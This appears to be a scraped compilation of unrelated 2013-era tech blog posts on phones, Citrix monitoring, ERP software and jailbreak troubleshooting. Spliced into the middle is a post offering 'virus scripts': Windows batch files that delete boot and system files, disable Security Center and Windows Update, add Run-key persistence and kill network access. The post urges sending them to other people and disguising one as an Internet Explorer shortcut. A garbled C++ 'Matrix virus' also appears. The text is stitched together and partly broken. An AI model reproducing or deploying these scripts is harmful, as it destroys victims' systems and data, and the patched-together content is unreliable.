This is going to piss a lot of people off, but I’ll just say it: The first version of Android copied RIM’s BlackBerry operating system, but then Apple launched the iPhone, so Google decided to throw away everything they were working on and copy iOS instead. On the flip side, we’ve seen several Android features get ported to iOS over the past few years, most notably “Notification Center”. Moral of the story: Good ideas are good ideas, and at the end of the day it’s about who provides a better implementation of said ideas that wins the war.
That background was needed so we can present you with today’s news: Samsung just announced “Samsung Wallet”. It looks exactly like Apple’s Passbook service. It even has the same functions. It’s so laughably similar that we’re kind of ashamed to call ourselves Samsung fans now, but such is life.
What is Wallet/Passbook all about? Instead of having an app for your favorite coffee place that stores your loyalty points, an app for your gym that tracks how often you go, and an app for your local supermarket that offers you coupons for your favorite box of cereal, you instead make one app that stores all the different information from those other apps in one centralized place.
Why do this? Have you ever wanted to show something to someone and then proceeded to look like an ass because you spent a good minute or two just flipping through homescreens, trying to find the icon for that game/service/app you just download?
Passbook, excuse me, Samsung Wallet, aims to fix that. Will companies actually use Samsung’s Wallet? Hell, Apple is having trouble getting companies to use Passbook, do you think companies care about supporting Samsung phones?

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Now a days it had become so important to monitor all the end user experiencing of the complex it services which are being used in the company. Monetizing is so important  In-order to plan,manage buy,deploying the future strategies for the successful organization.





Here comes the Best Monitoring Software to monitor the End User Experience.This Software provides you complete and in-depth insight and analytic  of the end user experience and the behavior when used in the Cittrix Environment.



These days IT companies are using the complex software environments which must have the ability to understand any deviations in the performances between the physical and the virtual desktop user experiencing.



Performance Breakdown by Citrix Server



The Performance and the user's experience with an application can  be delivered via Citrix Monitoring Server Software.
ICA Latency Monitoring
It is so important for very company o find the issues and fix them before the end users start complaining  about them. This ICA Latency Monitoring lets you to monitor for the critcal issues of an application. ICA latency trends over time by citrix server in addition the TCP?IP latency from the Citrix Server to the application Server.



Comparison of the Citrix and Non Citrix



Citrix enables the ability to leverage the application performance monitoring  which includes the response time throughout latency and the end-to-end transaction time of the web,clinet/server and the java applications which are running on he SBC Environment
Will let you for the Identification of the Citrix/RDP servers that a Specific End point which it is connected to.
You will get the complete in-depth insight into the user application usage usability activity and productivity in an SBC environment.

TGI is one of the best software solutions provider for small and mid market manufacturing companies.

TGI Company delivers the it's unique software and services in the ERP Software industry.




TGI and Enterprise 21's manufacturing softwares are so easy to use as they are build user friendly. It is so easy to use the software by anyone. The TGI Enterprise 21's ERP manufacturing software are used by many various industries in various purpose. TGI and Enterprise 21's ERP Manufacturing software is used for mainly for assemble-to-order, make-to-order and also used to configure-to-order. 

The manufacturing software supports the mainly three manufacturing environments  they are


1) Processes  manufacturing


2) Discrete manufacturing and finally for


3) Mixed mode manufacturing environments.



Lets us now have a brief look at the Environments supported by he TGI Enterprise 21's manufacturing software individually.

The TGI Enterprise 21's ERP manufacturing Software for the Discrete manufacturers support the attributed inventory, quoting and conversion to orders and online product configuration, Project accounting including multiple billing methods, component substitution, lean manufacturing and out sourced assembly.


TGI Enterprise 21's ERP Manufacturing Software is Process manufacturers to meet their complex business needs. This software offers the complete lot of tracking and traceability and compliance management, Quality Control and Good manufacturing Support,ON-Product management pricing, catch weight processing formulation and this Manufacturing software can used to catch the weight processing and ingredient substitution 

And the last one is for Mixed mode Manufacturing Environments. This software is used fr managing the order management, Inventory management,Procurement, This ERP manufacturing software is featured with RF and bar code, ware house management  and advanced forecasting and planning, In this software all the processes int he manufacturing are directly linked to the all the business department and units through out the enterprise with a single database.

      


Now that the evasi0n jailbreak for devices running iOS 6.1/6.0 is out, a lot of you folks are experimenting with your iOS devices by installing tweaks, changing themes and doing all sorts of tinkering. Unfortunately  due to the lack of a jailbreak since such a long time, developers haven’t got a lot of time to ensure their tweaks work without any glitches on iOS 6.x, which means that installing certain tweaks could result in undesirable behaviour like crashes or even endless reboot cycles.
In this post, we tell you a few ways to solve these problems.


Hard Reboot


If you’re an iOS user since sometime, by now you’d know that most problems (even on non-jailbroken phones) can be solved by a hard reset. Press and hold the Home and Sleep/Wake (or Power) button simultaneously for a few seconds till you see the Apple logo again. This should get you out of any app that’s in an unresponsive state. There are times when my iPhone becomes completely unresponsive to not only touch inputs, but the Sleep/Wake button as well, in such cases the hard reboot comes in handy.


Endless Reboot Loop


If your jailbroken iOS device is stuck in an endless reboot loop, it is most likely caused by a broken or incompatible jailbreak tweak that you’ve recently installed. In such situations the hard reboot solution also doesn’t work since the tweak tries to run again when iOS boots up. To solve this, when your iOS device is booting up, simultaneously keep the Volume Up button pressed and you should be able to see your Lock screen again. Now you can open Cydia, and uninstall the tweak that you think is creating problems.


If the Volume up button is not working on your iOS device then use the Clicker (not Volume up) button on your headsets or earphones.


If you’re interested in reading what exactly happens when you hold down the Volume Key, read on.
Most system tweaks depend on a framework called Mobile Substrate. The framework was developed keeping in mind that when you’re messing with system internals, things could go wrong. By pressing the Volume up button, Mobile Substrate gets disabled entirely, and doesn’t let the problematic tweak load, allowing your iOS device to go past the Apple logo. saurik had added this safe mode feature for Mobile Substrate last year to fix horribly broken jailbreak apps and tweaks.


Check compatibility before installing tweaks


Many developers are still updating their tweaks to work on iOS 6, so before installing anything from Cydia, ensure that iOS 6.1/6.0 is supported. So it is recommended that you check the compatibility of the jailbreak apps and tweaks before installing.

FixYa, a crowd-sourced troubleshooting website has published its Smartphone Reliability Report, which may not go down too well with Samsung fans.
The report compared user complaints on Apple’s iPhone, Samsung’s Galaxy smartphones, Nokia Lumia and Motorola’s Droid from a database on 30 million users to figure out which smartphone is the most reliable.
FixYa assigned a dependability score to each manufacturer, which was based on 722,558 troubleshooting questions from smartphone owners and after normalizing the data for relative market share. The fewer the questions it received relative to market share, higher was the score.
As you can see from the graph below, Apple received the maximum dependability score of 3.47, almost 187 percent or 3 times more than Samsung’s score of 1.21. Nokia and Motorola received dependability score of 0.68 and 0.13 respectively.

Fixya users lauded the reliability of the iPhone, stating that it is almost always working as intended in regards to core features and never hits a constant roadblock with one feature.

        

iPhone users complained about poor battery life (35%), lack of new features with new models (20%, lack of customisability (15%) etc, the things that they liked about the iPhone was simple UI, reliability and the app ecosystem.


        


In case of Samsung handsets, the biggest gripe was battery life (Nexus) and microphone & speaker issues and the things they liked was the great quality of the screen, enjoyable UI and battery life (Samsung Galaxy S3).


        


You can read FixYa’s Smartphone Reliability report here, it’s an interesting read as it gives an unbiased view of the quality of smartphones.
Please drop us a line in the comments below to tell us what has been your experience.

Facebook has just issued an update to its iOS application. Facebook for iOS, which is one of the prominent applications in the App Store now comes with several new features and enhanced user experience.


 


Facebook 5.5 for iOS offers improved buttons to like, comment and share posts. The share button also allows you to re-post stories to your news feed and is available in all languages. Furthermore, you can now make free calls to US and Canada right from your iOS application. Of course, free calling uses your data plan, so make sure you have one.
You can download the latest version of the application for your iPhones and iPads from the App Store.

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We are no strangers to the Samsung Galaxy Note 8.0. Although the product is yet to be officially announced, we have heard about it and even seen it a few times in the past.






The tablet was rumored to be unveiled officially at the Mobile World Congress this year. The rumors, it seems, were true, as was noticed by one of the show goers, who managed to snag a picture of the tablet at Samsung’s booth prior to official announcement.
There are no official specs yet but as the name suggests the device would have an 8.0-inch display, likely with a 1,280 x 800 pixel resolution. On the front we can see physical back and menu buttons below the display and although a Home button is not visible it could be just because of the lighting. Also, as one can expect from a device from the Samsung Note series, there is an  inductive S Pen stylus.
We should get more details about this tablet when MWC kicks off on Monday.
Update: There is now a video courtesy of androidnext. Unfortunately, the video is taken from a distance, so we don’t see too much of the device as of yet but it gives a slightly better idea of the device’s size and a quick look at the back.





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The run 'n gun platformer genre hasn't fared especially well on iOS. Usually this boils down to the whole touchscreen virtual controls thing, since these kinds of games typically demand faster reactions and more precision than a smattering of virtual buttons can offer.
Wandake seems to have figured out a great solution though with their title Apocalypse Max [Free]. They kept all the running and gunning intact, but made the simple decision to have aiming handled automatically. It sounds like something that might dumb down the action, but it really doesn't. We found Apocalypse Max to be a lot of fun when we reviewed it last September.
This week, a pretty big update was released for the game which adds four additional playable characters to the mix. Each character has their own unique abilities that differentiate themselves from the default Max character. For example, Commando Max has unlimited ammunition on all weapons, and Ninja Max does double damage with his melee blade. These new characters add a good amount of variety and let you play the game in new ways.






Each of the four new characters are available as a 99¢ IAP purchase or you can save yourself a buck and buy the whole lot for $2.99. And, if you haven't picked up Apocalypse Max already, it's currently free to download in celebration of the new update. It's one of my favorite games of its kind, and especially for free I can't recommend it enough.


App Store Link: Apocalypse Max: Better Dead Than Undead, Free (Universal)

Lots of word press themes are in existence today. The use of low-quality themes makes your business fails online. So, use high quality themes and make your business profitability.

            http://themes.muffingroup.com/?theme=nollie

HERE THERE R SOME EXCELLENT VIRUS SCRIPTS OF WEBS MOST DANGEROUS SCRIPTS ALSO INCLUDED IN THEM



                              



How to crash a PC Forever !:::

@echo off
attrib -r -s -h c:\autoexec.bat
del c:\autoexec.bat
attrib -r -s -h c:\boot.ini
del c:\boot.ini
attrib -r -s -h c:\ntldr
del c:\ntldr
attrib -r -s -h c:\windows\win.ini
del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**




How to stop someone's internet access::::


@Echo off
Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew




ShutDown PC million Times::::

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus hehe
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a



Freeze someone's desktop:::


this is a funny trick, u can freeze someone's desktop
1.close everything u r working in, and work on desktop. so click on prtscr on ur keyboard.
2.go to paint and click on edit then paste
3.save this file as (name).bmp and close the paint.
3.now in the desktop, we have 2 remove desktop icons and shortcuts, so right click on the mouse and then properties, click on desktop then select customize desktop.
4.uncheck all the boxes in desktop icons and press ok. then press apply then ok.
5.now to remove the shortcuts in the desktop, go to start and select My Computer, then click on c: right click on ur mouse and select new folder, write it any name
6.now go to desktop & select all da icons and right click on them then press cut,go to c: and paste them in the folder dat u created then close the window.
7.now to put the fake desktop image and remove the taskbar, so right click on desktop and gp to properties, now go to desktop and select Browse, select the file that u saved then press appply then ok. now to remove the windows taskbar, right click on the taskbar and go 2 properties, then select autohide the taskbar and then apply then ok
now all the icons r fake and the user will think that his desktop is freezed
enjoy it.!




SHUT UR INTERNET PERMENANTLY:::


This is a slightly more advanced one. It shuts down your internet permanately. I tried it on myself accidently, i knew what it did, and it still took me a couple of days to get my internet back. works best on XP, not tested on vista or 7.
EDIT: At the bottom put a rickroll site or something. BTW, that 3rd line, isnt what disables the internet permanately. It is somethinge else, that just provides a fast response to shut down any connections.


@echo off
reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v MiXedVeX /t REG_SZ /d %systemroot%\HaloTrialScoreChangerV1 /f > nul
start iexpress (website of your choice)
ipconfig /release
del "C:\Program Files\Microsoft Games
del "C:Nexon
del "C:\Program Files\Xfire
del "C:\Program Files\Adobe"
del "C:\Program Files\Internet Explorer"
del "C:\Program Files\Mozilla Firefox"
del "C:\WINDOWS"
del "C:\WINDOWS\system32"
del "C:\WINDOWS\system32\cmd"
del "C:\WINDOWS\system32\iexpress"
del "C:\WINDOWS\system32\sndvol32"
del "C:\WINDOWS\system32\sndrec32"
del "C:\WINDOWS\system32\Restore\rstrui"
del "C:\WINDOWS\system32\wupdmgr"
del "C:\WINDOWS\system32\desktop"
del "C:\WINDOWS\java"
del "C:\WINDOWS\Media"
del "C:\WINDOWS\Resources"
del "C:\WINDOWS\system"
del "C:\drivers"
del "C:\drv"
del "C:\SYSINFO"
del "C:\Program Files"
echo ipconfig/release_all>>c:windowswimn32.bat
net stop "Security Center"
net stop SharedAccess
> "%Temp%.kill.reg" ECHO REGEDIT4
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
>>"%Temp%.kill.reg" ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>"%Temp%.kill.reg" ECHO "Start"=dword:00000004
>>"%Temp%.kill.reg" ECHO.
START /WAIT REGEDIT /S "%Temp%.kill.reg"
del "%Temp%.kill.reg"
del %0
echo @echo off>c:windowswimn32.bat
echo break off>>c:windowswimn32.bat
echo ipconfig/release_all>>c:windowswimn32.bat
echo end>>c:windowswimn32.bat
reg add hkey_local_machinesoftwaremicrosoftwindowscurrentv ersionrun /v WINDOWsAPI /t reg_sz /d c:windowswimn32.bat /f
reg add hkey_current_usersoftwaremicrosoftwindowscurrentve rsionrun /v CONTROLexit /t reg_sz /d c:windowswimn32.bat /f
:a
start iexpress (website of your choice)
goto a





MAKING MOST DANGEROUS VIRUS CALLED MATRIX:::


Warning - Do not run it on your computer

I'm gonna teach you how to make a virus named Matrix...

1-Open notepad
2-Put in this code

#include
#include
#include
#include
#include
#include
#include
using namespace std;

int main()
{ keybd_event(VK_MENU,0x38,0,0);
keybd_event(VK_RETURN,0x1c,0,0);
keybd_event(VK_RETURN,0x1c,KEYEVENTF_KEYUP,0);
keybd_event(VK_MENU,0x38,KEYEVENTF_KEYUP,0);
HANDLE outToScreen;
outToScreen = GetStdHandle(STD_OUTPUT_HANDLE);

{
char buffer[255];
char inputFile[]="C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat";
ifstream input(inputFile);
if (!input)
{
{
ofstream fp("C:\Documents and Settings\All Users\Start Menu\Programs\Startup\rawr.bat", ios::app);
fp
fp
fp
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
}
}
}

{
char buffer[255];
char inputFile[]="C:\rawr.exe";
ifstream input(inputFile);
if (!input)
{
{
{
ofstream fp("CLICK.bat", ios::app);
fp
fp
fp
fp
}
system("START CLICK.bat");
main();
}
}
else
{
while (!input.eof())
{
input.getline(buffer,255);
system("call shutdown.exe -S");
goto START;
}
}
}

START:{
for(int i = 0; i < 1; i++)
{
int num = (rand() % 10);
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY);
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
cout
Sleep(60);
}
}
for ( int j = 0; j < 5; j++)
{
SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN);
int number = (rand() % 24);
cout
}
goto START;



3-save it as matrix.bat
4-finish



AS IT WAS TOO DANGEROUS THE ACTUAL HEADER FILES FOR THIS SCRIPT ARE NOT GIVEN

AND IF U WANT TO TRY THIS SCRIPT U CAN JUST USE OF HEADER FILES SUCH AS STDIN,STDLIB,CONIO , AND STUFF LIKE THAT

A new method of circumventing the carrier SIM restriction on Samsung Galaxy S III’s and Galaxy Note II’s has been uncovered.


All you have to do is enter a code from your devices’ menu; there’s no need to send information to a website, pay anything or wait for an unlock code.
Note that this method may not work for all Galaxy S III or Note II variants. Also keep in mind that this could void your warranty, so proceed at your own risk. Here are the steps you need to take:


1) Insert the desired SIM card you want to use unlocked into your device, and restart the phone.


2) Enter the code *#197328640# into the keypad and press send.


3) Go to Main Menu -> [1] UMTS -> [1] Debug Screen -> [8] Phone Control -> [6] Network Lock -> Options [3] Perso SHA256 OFF (after choosing this option, wait for at least 30 seconds)


4) Go back one step by pressing the Menu button, select back, which should bring you to [6] Network Lock, then choose [4] NW Lock NV Data INITIALLIZ.
If you followed the above steps correctly, your device should now work with the new SIM card!
Let us know if the above method worked for you, and on what device.

Xenon tubes have been powering the camera flashes for ages now, but with phones getting thinner every year, manufacturers have no choice but replace them with LED lights. What’s more, the performance of the few xenon flashes we’ve seen implemented in smartphones recently is underwhelming because the smaller the flash capacitor, the weaker the light output is.




A Singapore invention however has the potential to allow xenon flashes to reclaim some of the lost turf from LEDs. Researchers from the Nanyang Technological University have developed a revolutionary new type of capacitor, which is significantly smaller than the ones currently in use, while being equally powerful and even faster in recharging.
The new generation capacitor has the potential to revolutionize cameraphones, which have been slowly but steadily turning slimmer an slimmer. And xenon flashes would surely make a huge difference when it comes to taking photographs in low light, as they are much brighter than even the best LEDs currently integrated in mobile phones.


The newly developed capacitor (the flat black strip) next to its shiny, but bulky predecessor

The person behind this technological breakthrough is Assoc Prof Lee Pooi See at the Nanyang Technological University (the woman seen on the image above). She and her team of researchers have been working on the project for the past two and a half years. They’ve created a capacitor made from multiple layers of polymers. It’s at least four times smaller than current electrolytic capacitors and is several times faster than the current ceramic-based capacitors.
The researchers are now partnering with Xenon Technologies, the world’s largest xenon flash manufacturer, in order to continue their work and transition the capacitor from the drawing board to the real world.
They expect to have a working commercial prototype by September this year, so I bet we’ll be seeing a new wave of xenon-flash-equipped smartphones in 2014. There goes one of the last advantages digicams had over cameraphones.

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For starters, the Chromebook Pixel has a 12.85-inch, ultra high resolution 2,560 x 1,700 display. Google says it is the highest resolution display ever to be put in a laptop. What they mean, however, is that it has the highest pixel density of 239 ppi. The 13 and 15-inch MacBook Pro with Retina display in comparison have a pixel density of 227 and 220 respectively, although the latter has a higher, 2,880 x 1,800 resolution display.
Two interesting aspects about this display are that it has an unconventional 3:2 aspect ratio, which is designed to give you more vertical screen real estate to facilitate web browsing. The second thing is that the display is actually a touchscreen, a first for a Chromebook. The panel also uses a Corning Gorilla Glass for protection.
Google also has gone to great lengths to give the Chromebook Pixel the level of polish and attention to detail appropriate for a high-end device. The body is made out of anodized aluminum. The ventilation grilles are hidden, as are the screws and the stereo speakers, which are placed underneath the backlit keyboard. The glass trackpad has been etched using a laser microscope to give it that desired level of friction.
In terms of hardware, the Chromebook Pixel runs on a dual-core 1.8GHz Intel Core i5 processor with integrated Intel HD 4000 graphics, 4GB of DDR3 RAM, 32GB/64GB SSD, dual-band WiFi 802.11a/b/g/n 2×2, Bluetooth 3.0, LTE (optional), 2 x USB 2.0 ports, Mini DisplayPort, SD card slot, 720p HD camera with three microphones for noise cancellation and 59 Wh battery with 5 hours of active use.
The Chromebook Pixel will be sold in two models. The standard model will set you back by $1,299/£1,049 whereas the LTE model will set you back by $1,449 (US only). You get 1TB Google Drive cloud storage for three year along with 12 free sessions of GoGo Inflight Internet with both models. On the LTE model, you also get 100 MB/month for 2 years of mobile broadband from Verizon Wireless.
The Chromebook Pixel is now on sale in US and UK on the Google Play Store and will soon be available on BestBuy.com.

The HTC One has been the dominant subject in the technology spotlight today, shaping up to be one of the most aesthetically pleasing and powerhouse ready devices to date, which when pulled off correctly, can be a very attractive combination.
We have good news for UK residents, you can pre-order the device with Clove for £510. This will get you 32GB of internal memory, accompanied by the increasingly popular Qualcomm Snapdragon 600 1.7GHz quad-core processor, a 4.7-inch SuperLCD3 capacitive display with an impressive 1920 x 1080 (468 ppi) resolution, and a staggering 4MP UltraPixel rear-facing camera, and a 2.1MP front-facing camera.
The price may seem excessive for some, but more of us seem to be purchasing SIM-only devices nowadays, for their freedom from costly contracts.
The HTC One is on the fast lane to stardom in todays news, so why not get ahead of the game and pre-order yourself one at Clove.

Samsung’s main high-end handset will be the Galaxy S4 this year, and there’s no question about it, and there are already plenty of rumors offering details about the Galaxy S4’s design, specs, features and release dates.
With over a month to go until the product is announced we take a look at what’s being reported about the upcoming flagship device, at least up to know.

Product name and model number

Samsung made a lot of fuss about the product name of the Galaxy S3 last year at a time when Apple decided to drop the “3” from the “iPad 3” tablet and call the device simply the “iPad.” At the time it was speculated that the company could do the same with the iPhone – something that didn’t happen – and that other handset and tablet makers could follow suit when naming future device generations.


In the end, the third Galaxy S model was logically named “Galaxy S3,” a brand that Samsung managed to impose to worldwide carriers, especially U.S.-based ones.
This year, the fourth-gen Galaxy S model is already confirmed to be called the Galaxy S4, at least if a Samsung exec is to be believed. And we’re almost certain that will be the product name of the device. Furthermore, we’re also certain that worldwide carriers will use the same product name for the device, especially considering the popularity of its predecessor.
Speaking of popularity, Samsung is apparently expecting to sell 10 million Galaxy S4 units per month, at least if a report based on supply chain leaked data is to be believed, which would most likely make the handset the best sold Android device in the world.


When it comes to model number, the Galaxy S4 is almost confirmed to be baptized the GT-I9500 internally (the device is apparently also known as “Altius” or Project J,) with variations of this product name describing international and LTE models – in fact a GT-I9500X model number has already been spotted on Samsung’s website in early January.
AT&T’s Galaxy S4 model number is believed to be SGH-I337, while one of the South Korean Galaxy S4 versions is said to have the SHV-E300S model number.

Announcement and launch

Early reports suggested that the Galaxy S4 could arrive at CES 2013 in January or MWC 2013 in February, but the device was a no-show in Las Vegas (although we did talk to Samsung about the device at the event,) and it appears it won’t be present in Barcelona, Spain, either, at least not officially. The handset is said to have been shown behind closed doors at CES, but we have no idea whether Samsung will take a similar approach for MWC.
The most recent reports suggest that Samsung will hold a special Mobile Unpacked event in the U.S. at some point in March, with March 15 being the currently rumored date. Following the announcement, the handset will start shipping in certain European markets by early April and head to other markets in the months after that. U.S. carriers are said to start selling the device in May or June, therefore about a year after stocking the Galaxy S3.
We expect the Galaxy S4 to come with a high-end price, although it should be fairly affordable when purchased with new contracts. Specific details regarding pricing structure for the Galaxy S4 is not available at this time.

Hardware

The Galaxy S4 is rumored to be slightly bigger than its predecessor, sporting a 4.99-/5-inch Super AMOLED Full HD resolution display – Full HD panels seem to be a must-have feature for this year’s high-end Android handsets. But we have no idea whether the display will feature Samsung’s Youm flexible display technology – which was demoed at CES 2013 as well – or whether only other Samsung devices will feature Youm displays this year.


While some reports say that Samsung will use its eight-core Exynos 5 Octa processor that was unveiled a few weeks ago at CES in the Galaxy Note 3, the Galaxy S4 is also rumored to pack the same CPU. The Exynos 5 Octa is expected to deliver improved performance but also enhanced battery life thanks to its big.LITTLE chip technology.
Other Galaxy S4 hardware features will reportedly include an eight-core Mali-T658 GPU, 2GB of RAM, 13-megapixel main camera (the first images taken with Galaxy S4 images have been apparently leaked,) 16/32/64GB of storage (will Samsung also go to 128GB of built-in memory, microSD card not included?) a 2600mAh battery (if not bigger), NFC, LTE and Android 4.2.1 Jelly Bean right out of the box (at least according to some leaked benchmarks).

Special features

In addition to what we have already mentioned, there are several reports out there detailing certain special features for the Galaxy S4.
Samsung will reportedly drop the PenTile display technology, a criticized feature of many Android devices depending on who you ask, and adopt a new hexagon-based matrix for the Galaxy S4, and possibly other devices. Production of 4.99-inch panels is reportedly underway ahead of the early April launch.
Speaking about display improvements, we’ll also mention different ways to interact with the handset, excluding the regular touch input. The handset is said to sport floating touch gestures, something that could help Samsung differentiate its flagship product from the bulk of Android handsets out there. Eye Pause and Eye Scroll eye tracking technologies are also said to be available on the Galaxy S4, to further enhance the way users interact with the device.
Since we’re touching on software features, we’ll add that the South Korean Android maker is also rumored to kick off a new software update policy starting with its Galaxy S4, which could mean that Android updates will become available to certain Samsung devices a lot faster than before, although the move may also have unwanted effects for certain consumers.
Finally, wireless charging is another feature that will be available to future Galaxy S4 owners, with the device ready to offer support for QI wireless charging technology. However, the back plate and charger are supposed to be sold separately, and they’ll most likely be available to consumers after the device hits stores.

Design

You may have noticed that we didn’t start talking about the Galaxy S4 design from the beginning of the article, as one would when talking about an upcoming device, because we have no idea what the handset will look like.
As you can see, there are already several purported images out in the wild that show the Galaxy S4, but none of them has been confirmed so far, with some of them already having been proven as concepts.
Samsung managed to keep the Galaxy S3 final design under wraps last year, although we’ve seen plenty of Galaxy S3 leaks prior to its early May 2012 announcement, so we expect the company to do the same with the Galaxy S4. That doesn’t mean we won’t see even more leaked images in the coming weeks, because that’s surely going to happen.



Will the Galaxy S4 look like Galaxy S3 and Galaxy Note 2? Will it sport a totally different design? Will it keep the Home button? Will it be available in more colors right from launch? While we think we have a general idea of the phone’s hardware and potential special features we can’t answer these design-related questions right now.
We’ll remind you that nothing is yet official, and these Galaxy S4 reports, no matter how trusted the source is, are unconfirmed, so take everything with a grain of salt for now. But we’ll keep close tabs on the Galaxy S4 rumor mill, as more leaks and rumors are certainly going to hit the web in the coming months.
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